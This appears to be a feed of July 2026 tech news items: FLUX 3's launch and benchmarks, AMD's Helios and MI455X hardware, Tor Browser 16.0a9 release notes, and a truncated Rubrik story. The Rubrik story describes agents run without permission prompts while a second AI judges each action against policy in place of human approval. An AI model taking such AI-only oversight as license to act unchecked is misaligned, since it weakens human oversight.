Black Forest Labs (BFL) is expanding its FLUX family beyond image generation with today's launch of FLUX 3, a multimodal frontier model trained to understand and generate images, or combined audio/video clips up to 20 seconds from a single prompt — and to extend the same underlying architecture to robotic vision and actions.
The Freiburg, Germany-based AI lab says FLUX 3 is jointly trained across those modalities rather than assembling separate image, video and audio models behind a common interface. 
That distinction is central to the company's pitch: BFL wants enterprises to think about creative generation, simulation, computer use and robotics as connected applications of a single capability it calls visual intelligence — models, in the company's words, "that can perceive, predict, and act across physical and digital environments." This release marks BFL's first public video generation model. 
FLUX 3 will be offered through four product lines: FLUX 3 Video, FLUX 3 Image, FLUX 3 Action and the upcoming, open source FLUX 3 Dev. FLUX 3 Video, with optional native audio generation, and FLUX 3 Action are entering a gated "Early Access" program now, to which anyone can apply, but which BFL must approve. 
There is presently no public access through BFL's application programming interface (API) or those of partners yet, but the company says FLUX 3 Image will roll out in the coming weeks, followed by general availability. The limited initial availability rollout echoes the release strategies of new models from other frontier labs in the U.S. lately, including Anthropic and OpenAI, though those were ostensibly for security concerns and due to government request. 
What the company has not announced is pricing, production service-level commitments, evaluation methodology, sample sizes, rater counts or any image-model benchmarks at all. Enterprise buyers therefore cannot yet calculate total cost of ownership or independently reproduce the video comparisons.
Another big notable omission: FLUX 3 is not launching with downloadable weights at this time, nor an open source license. BFL says faster and open-weight versions will arrive later this year, and its technical blog names FLUX 3 Dev as "open-weight access to a multimodal backbone, for content creation (video, audio and image) and action prediction" — a considerably broader commitment than any previous FLUX Dev release, all of which covered images only.
But it arrives last in the sequence. Developers accustomed to receiving a locally deployable FLUX variant alongside — or soon after — a major model announcement will have to wait. That delay does not negate the company's commitment, but it is disappointing given the role open weights have played in FLUX's adoption thus far. 
Flux 3 is rated higher than the competition, but missing pricing and benchmarking details may prevent rapid enterprise adoption
BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. 
In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.
One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.
Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.
Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.
Gemini Omni Flash, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. 
Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.
One regional wrinkle matters for a German company's home market. Editing uploaded video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.
Here's a rough guide for enterprises considering which video models to rely upon: 
Model Max single-generation duration Max resolution Key constraints Price per 10-second clip (720p) Price per 10-second clip (1080p) Price per 10-second clip (4K)
FLUX 3 Video 20 seconds Not stated; evaluations run at 720p Early access; no published SLA or pricing Not announced Not announced Not announced 
HappyHorse 1.1 15 seconds 1080p No 4K; closed weights Not published (v1.0 reseller rate is ~$1.82) Not published (v1.0 reseller rate is ~$3.12) n/a 
Veo 3.1 Per-second billing 4K Supports clip extension; preview $4.00 $4.00 $6.00 
Veo 3.1 Fast Per-second billing 4K Preview $1.00 $1.20 $3.00 
Veo 3.1 Lite Per-second billing 1080p No 4K, no clip extension; preview $0.50 $0.80 n/a 
Gemini Omni Flash 10 seconds (3s minimum) 720p at 24 FPS Preview abd no EU access $1.00 n/a n/a 
One architecture for media generation and physical action
FLUX 3 builds on Self-Flow, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. 
The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.
"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."
He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."
BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.
For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.
For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.
What FLUX 3 Video can actually do
The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. 
Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching OpenAI's discontinued Sora model.
The capability list BFL published covers:
Text-to-video generation.
Image-to-video generation, either animating from a starting frame or using images as visual references.
Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.
Generative video-audio continuation from existing video and audio input.
Keyframe-to-video generation for controlled transitions between defined moments.
 Multilingual dialogue.
A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.
Typography generation and animated design.
Agentic chaining of individual clips into longer, multi-shot sequences.
That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.
It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.
BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.
FLUX-mimic tests whether video models can become robot models
BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.
The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.
FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. 
BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.
"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."
BFL argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. 
Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." 
The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. 
There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.
Open weights helped make FLUX an industry standard
BFL officially launched in summer 2024 and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. 
The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and Stable Diffusion, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. 
That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.
Wired magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.
FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, released shortly after the firm's launch,  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.
The company continued that pattern with FLUX.2 Dev in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.
FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.
The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. 
The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.


AMD raises the AI stakes with Helios, Venice and robotics
Thu, 23 Jul 2026 20:48:09 +0200

		
					  
						




AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.



AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its Helios AI platform is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).



The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  



AMD’s MI455X targets the AI memory wall



The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.



Compared to AMD’s current MI355X, the MI455X offers 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.



AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.


AMD



The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.



The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.



AMD’s Helios rack takes aim at Vera Rubin


Dave Altavilla



Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.



In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.



These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.



AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.



While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.



Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.



Kind of like cowbell, AMD Venice gives agentic AI more CPU


AMD



AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.



Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.



Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.



Pensando networking and ROCm software advance



Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.



As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.



On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.



These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.



Customer commitments underscore rack-scale confidence



AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.



Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, Anthropic announced a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.



Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.



There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.



AMD expands its robotics and embedded foundation



AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.



The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.



Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.



Execution for AMD is now the test



AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.



AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.



As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.



This article is published as part of the Foundry Expert Contributor Network.
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New Alpha Release: Tor Browser 16.0a9
Thu, 23 Jul 2026 20:25:02 +0200

    
      


      
    
    Tor Browser 16.0a9 is now available from the Tor Browser download page and also from our distribution directory.
This version includes important security updates to Firefox.
⚠️ Reminder: The Tor Browser Alpha release-channel is for testing only. As such, Tor Browser Alpha is not intended for general use because it is more likely to include bugs affecting usability, security, and privacy.
Moreover, Tor Browser Alphas are now based on Firefox's betas. Please read more about this important change in the Future of Tor Browser Alpha blog post.
If you are an at-risk user, require strong anonymity, or just want a reliably-working browser, please stick with the stable release channel.
It's ESR transition season again!
Well actually, it has been ESR transition season throughout this entire release cycle! As described in the aforementioned Future of Tor Browser Alpha blog post, we have been incrementally rebasing our Alpha channel on Firefox betas since December of last year. As a result, we now stand before you with Tor Browser 16.0a9 which is based on Firefox ESR 153.
We will continue rebasing Tor Browser 17.0 Alpha branches on Firefox betas throughout the remainder of the Tor Browser 16.0 release cycle. However, new feature-work for now must be put on hold for a few reasons:

We must focus our attention on resolving our Bugzilla Audit issues to ensure the features we have inherited from upstream comply Tor Browser's threat model and to patch any changes which do not.
Feature work targeting 16.0 stable would need to be cherry-pick'd onto our 17.0 Alpha branches to ensure we don't lose any work. The more invasive a feature patch is, the harder it will be to port to newer versions. This would also be a potentially error-prone process and there is some risk we would lose patches along the way.
We need to finish stabilizing as soon as possible as we have hard external deadlines which cannot be moved: the end-of-life of Firefox ESR 140 on October 13th and the Google Play Minimum Target API Level requirement on November 1st

Challenges and Triumphs
💍 Sharing the Load
Rebasing the hundreds of Tor Browser patches onto newer versions of Firefox is a challenging task. It is like maintaining the structural stability of sand-castle at high-tide with the waves crashing all around you.
As such, it quickly become clear early in this new process that we would need to do something if we wanted to avoid burning out the few developers typically involved in this work. To mitigate this, we shared the knowledge internally and spread the work out across all eight members of the team. This way, each developer was only responsible for at most two or three rebases throughout the entire release cycle.
🎨 UI Code Churn
Over the past year, Firefox has developed and integrated two major changes to the UI in Firefox: a redesign of about:preferences in Firefox Desktop and a migration from Material 2 to Material 3 in Firefox Android.
Adapting to these types of changes to the frontend are typically rather time-consuming for us, as many (if not the majority) of our patches modify Firefox's UI in some way. For example, we have an entire preferences page on Tor Browser desktop dedicated to configuring how the browser connects to the Tor Network. On Android, we similarly have various additions to the menus, configuration options, and custom UI.
Whenever Mozilla modifies their design systems and Firefox's user interface, we necessarily have to adapt our own custom additions to match. Otherwise, our Tor Browser-specific UI elements would look completely out of place and potentially confuse users (as well as simply looking unprofessional). Therefore, each of these upstream changes requires collaboration with the Tor Project's UX team to update our features' designs and of course development time to implement.
In addition to the time-cost associated with the extra engineering and UX collaboration, very often our old patches simply do not apply cleanly due to the amount of code which has changed. For example, the about:preferences changes on Firefox Desktop are essentially a complete re-write which means we also have to completely re-write our own settings changes without regressing in functionality.
On the plus side, one benefit of our new processes is that we have been able to spread out this work over the entire release cycle. In the past way of doing things, we would have discovered all UX elements which needed to be fixed, updated our designs, and re-implemented in the course of a few months during the old ESR transition season. Under this new way of working, we have been able to incrementally fix things throughout the development cycle.
The benefits of working this way does not just apply to UX of course. It is much easier to find regressions across the entire stack when rebasing between one major Firefox version at a time instead of across 12 or 13. It is also much easier for developers to fix individual regressions one at a time compared to diagnosing, disentangling, and fixing multiple bugs concurrently (divide et impera!).
⚙️ Pending Google Target API Level Requirements
Every year, Google requires new Android app releases to target an updated minimum API level. This means, we would not be able to upload new versions of Tor Browser Stable past a certain date (usually August 1st with an extension to November 1st typically possible) without first updating the app to support the new minimum target API level. Fortunately, we inherit most of the required changes from Mozilla when rebasing to the next major ESR.
However, this requirement does impose a hard deadline for the absolute latest we can responsibly stabilize Tor Browser Alpha and promote it to Stable. We've been fortunate in the past few years to make the deadline with a few days to spare (October 28th for Tor Browser 15, October 22nd for Tor Browser 14, etc). Given how far ahead of the curve we are this year, we are hoping to release about a month earlier in September (fingers crossed!).
🤖 Android APKs too big
The Google Play Store has a strict size limit of about 100 megabytes for Android applications. New functionality added to Firefox Android over the past year means a larger application which results in new headaches for Tor Browser developers. This release cycle was no exception to this rule and we have had to get creative with our size reductions.
In the past, we have been able reduce our package size though various methods including:

Using custom size-reducing compiler flags
Compiling multiple pluggable-transports into a single unified binary to de-duplicate shared dependencies
Removing unused Firefox assets from the build
Replacing unused (but still linked) libraries with no-op stubs
and countless other methods over there years

Our most recent effort has been the most invasive yet! For some background, the Firefox application consists of (among other things): various shared libraries, the Firefox executable, a library known as 'xul' which contains most of Firefox's natively compiled functionality, and finally a file known as omni.ja. This omni.ja file is a zip archive which contains the JavaScript, HTML, images, and other assets used in Firefox.
This time around, to reduce the size of our Android package we havechanged how this archive is compressed. We modified the Firefox build system to compress this archive with xz and we modified Firefox itself to decompress this archive at runtime. This work did require a few iterations to get right. In the end, we got back about 3 megabytes with these changes and got us once again under Google's imposed size budget.
📉 Even Less Telemetry
Over the years, we have worked to incrementally remove dependencies from Tor Browser Android as part of the aforementioned size reduction work. We of course inherit most of these dependencies from Firefox Android and unfortunately some of them can be labeled as 'trackers'. While we do disable telemetry by default at runtime, the code which implements it remains in the codebase.
We're happy to report that as of Tor Browser 16.0a8, are down to only 1 'tracker' library in the Tor Browser Android codebase: Mozilla Telemetry. Again, this telemetry is disabled at runtime, but this is one more unused dependency which we can hopefully remove in the future (and maybe get some more bytes back!).
Current Status
We have:

incrementally rebased Tor Browser and Tor Browser for Android to Firefox ESR 153 from Firefox ESR 140
updated the build systems with the latest dependencies and fixed a few reproducibility issues
triaged most of the upstream changes from the past year and flagged over 250 issues for further review (triaging of Firefox 153 is in progress)
resolved about half of these triaged issues

For the remainder of this release cycle, we will be focusing on auditing these issues and fixing bugs until the 16.0 alpha series is ready to become Tor Browser Stable 16.0. We are optimistically targeting a September release, which would put us one month ahead of schedule compared to last year.
Known Issues
🦊 Firefox Branding
In some places in the browser there may be Firefox branding (e.g. logos, cute little foxes, etc) instead of Tor Browser branding. We're currently tracking one known instance in tor-browser#44998. If you discover any other instances lurking about, please open an issue!
🌐 All websites marked 'insecure' on Tor Browser Android
Currently, the identity block in the URL bar on Tor Browser Android will always report insecure (e.g. a shield icon with a slash through it). For now, you can tap this icon and verify the certificate manually. This issue is being tracked in tor-browser#45115
Send us your feedback
Now is a great time to become an alpha tester! If you find a bug or have a suggestion for how we could improve this release, please let us know.
Full changelog
The full changelog since Tor Browser 16.0a8 is:

All Platforms
Updated NoScript to 13.6.30.90201984
Bug tor-browser#43819: Show custom security level on android
Bug tor-browser#44748: Revert Funding the Commons Implementations
Bug tor-browser#44811: Remove the lock on pdfjs.disable.
Bug tor-browser#45101: Rebase Tor Browser onto 153.0esr
Bug tor-browser#45131: Security level is using an unsafe getBoolPref
Bug tor-browser-build#41831: Update libevent to 2.1.13


Windows + macOS + Linux
Updated Firefox to 153.0esr
Bug tor-browser#44439: Remove translate action from urlbar
Bug tor-browser#44883: Remove urlbar quick action for labs
Bug tor-browser#45029: Convert connection status settings to new design and config approach
Bug tor-browser#45055: Rename --color-gray-05 to --color-gray-0
Bug tor-browser#45081: Use the new "Acorn" icons on desktop
Bug tor-browser#45110: Disable the settings redesign until ready for us
Bug tor-browser#45112: Missing CSS border tokens in 153
Bug tor-browser#45132: nsAppFileLocationProvider.cpp: use of undeclared identifier 'XRE_EXECUTABLE_FILE'
Bug tor-browser-build#41800: Create a script that adapts the Tor Browser manual HTMLs to work in Tor Browser


macOS
Bug tor-browser#45108: Artifact generation fails due to missing .DS_Store in the branding directories


Android
Updated GeckoView to 153.0esr
Bug tor-browser#43820: Use SecurityLevel integration on android
Bug tor-browser#44157: Remove secret setting toggle for Tab Management Redesign
Bug tor-browser#45045: Remove moz asset in Downloads screen
Bug tor-browser#45103: Disable broken "tab management"
Bug tor-browser#45109: No value passed for parameter 'jsEnabled'
Bug tor-browser#45118: Audit and disable Mozilla VPN promo
Bug tor-browser#45130: Clean up TorHomePage padding


Build System
All Platforms
Bug tor-browser-build#41838: Update personal_access_tokens URL in tools/fetch_changelogs.py


Windows + Linux + Android
Updated Go to 1.26.5


Windows
Bug tor-browser-build#41819: Fix windows-rs URL in projects/firefox/config






    
  
    
        
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Why AI-Generated Code Fails Security Reviews 45% of the Time
Thu, 23 Jul 2026 19:39:34 +0200
My friend is a junior developer, roughly eight months into her first real job. She said the most enjoyable thing about her week was watching Copilot complete all of her tasks before she would even type the closing bracket. In…
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The post Why AI-Generated Code Fails Security Reviews 45% of the Time appeared first on IT Security News.


An AI now judges every move Rubrik's agents make, its AI chief said at VB Transform 2026 — but no one's measured if the judge is right
Thu, 23 Jul 2026 19:19:49 +0200
At a CISO roundtable organized by Anthropic's chief information security officer, Dev Rishi asked a simple question: Did everyone in the room have their AI governance and security policies written down? Every hand went up — about 14 people, by his count. His follow-up, about how anyone actually enforces those policies in practice, got a different response. "And everybody chuckled," Rishi, the GM of AI at Rubrik, recalled at VB Transform 2026 fireside chat in Menlo Park. "It was like the dirty secret in the room that everyone has these policies, but no way to actually make them real."
“Our founder and CTO has actually been really pushing to enable our agents in YOLO mode,” Rishi told the audience. That admission comes from a publicly traded data security firm whose business is backing up what he called the most important data in the world.
YOLO mode strips the permission prompt out of agent workflows and lets the agent act on its own. In Rubrik's version, a second AI judges every action in real time against policy in place of a human clicking approve. Rubrik is running the experiment on itself first. Rishi treats autonomy as a settled capability question and an open judgment question. "If you ask the agent to act autonomously, it will," he said. "It's a question that you have internally. Should it?"
Rubrik earned that question the hard way. When Claude Code and Cowork pilots rolled out, the company required every command to run in ask mode so the employee issuing it carried the liability, and the developer pushback filled a single Slack thread 120 messages deep. 
"The developers basically are pushing back, and they're like, this is like the iTunes service agreement. I'm just hitting check, check, check, check, check, check, check," Rishi said. "There's no way that I can actually read through this. And it becomes security theater." Roughly 80% of respondents are in the same bind, Rishi said, citing Rubrik Zero Labs research that found monitoring and approving agent actions takes more time than the agents save. The State of the Agent, the April report behind that figure, surveyed more than 1,600 IT and security leaders.
SAGE is the reason Rubrik trusts the bet. Short for Semantic AI Governance Engine, SAGE is the arbitration layer inside Rubrik Agent Cloud that watches every action an agent takes and reads the semantic intent behind it, then rules the action in or out against policies written in natural language. "We took what people said was human in the loop, a good idea, and we replaced it with AI in the loop," Rishi said, describing the pitch to security chiefs he characterized as skittish about non-deterministic systems.
Security approval, not cost, blocks AI ROI
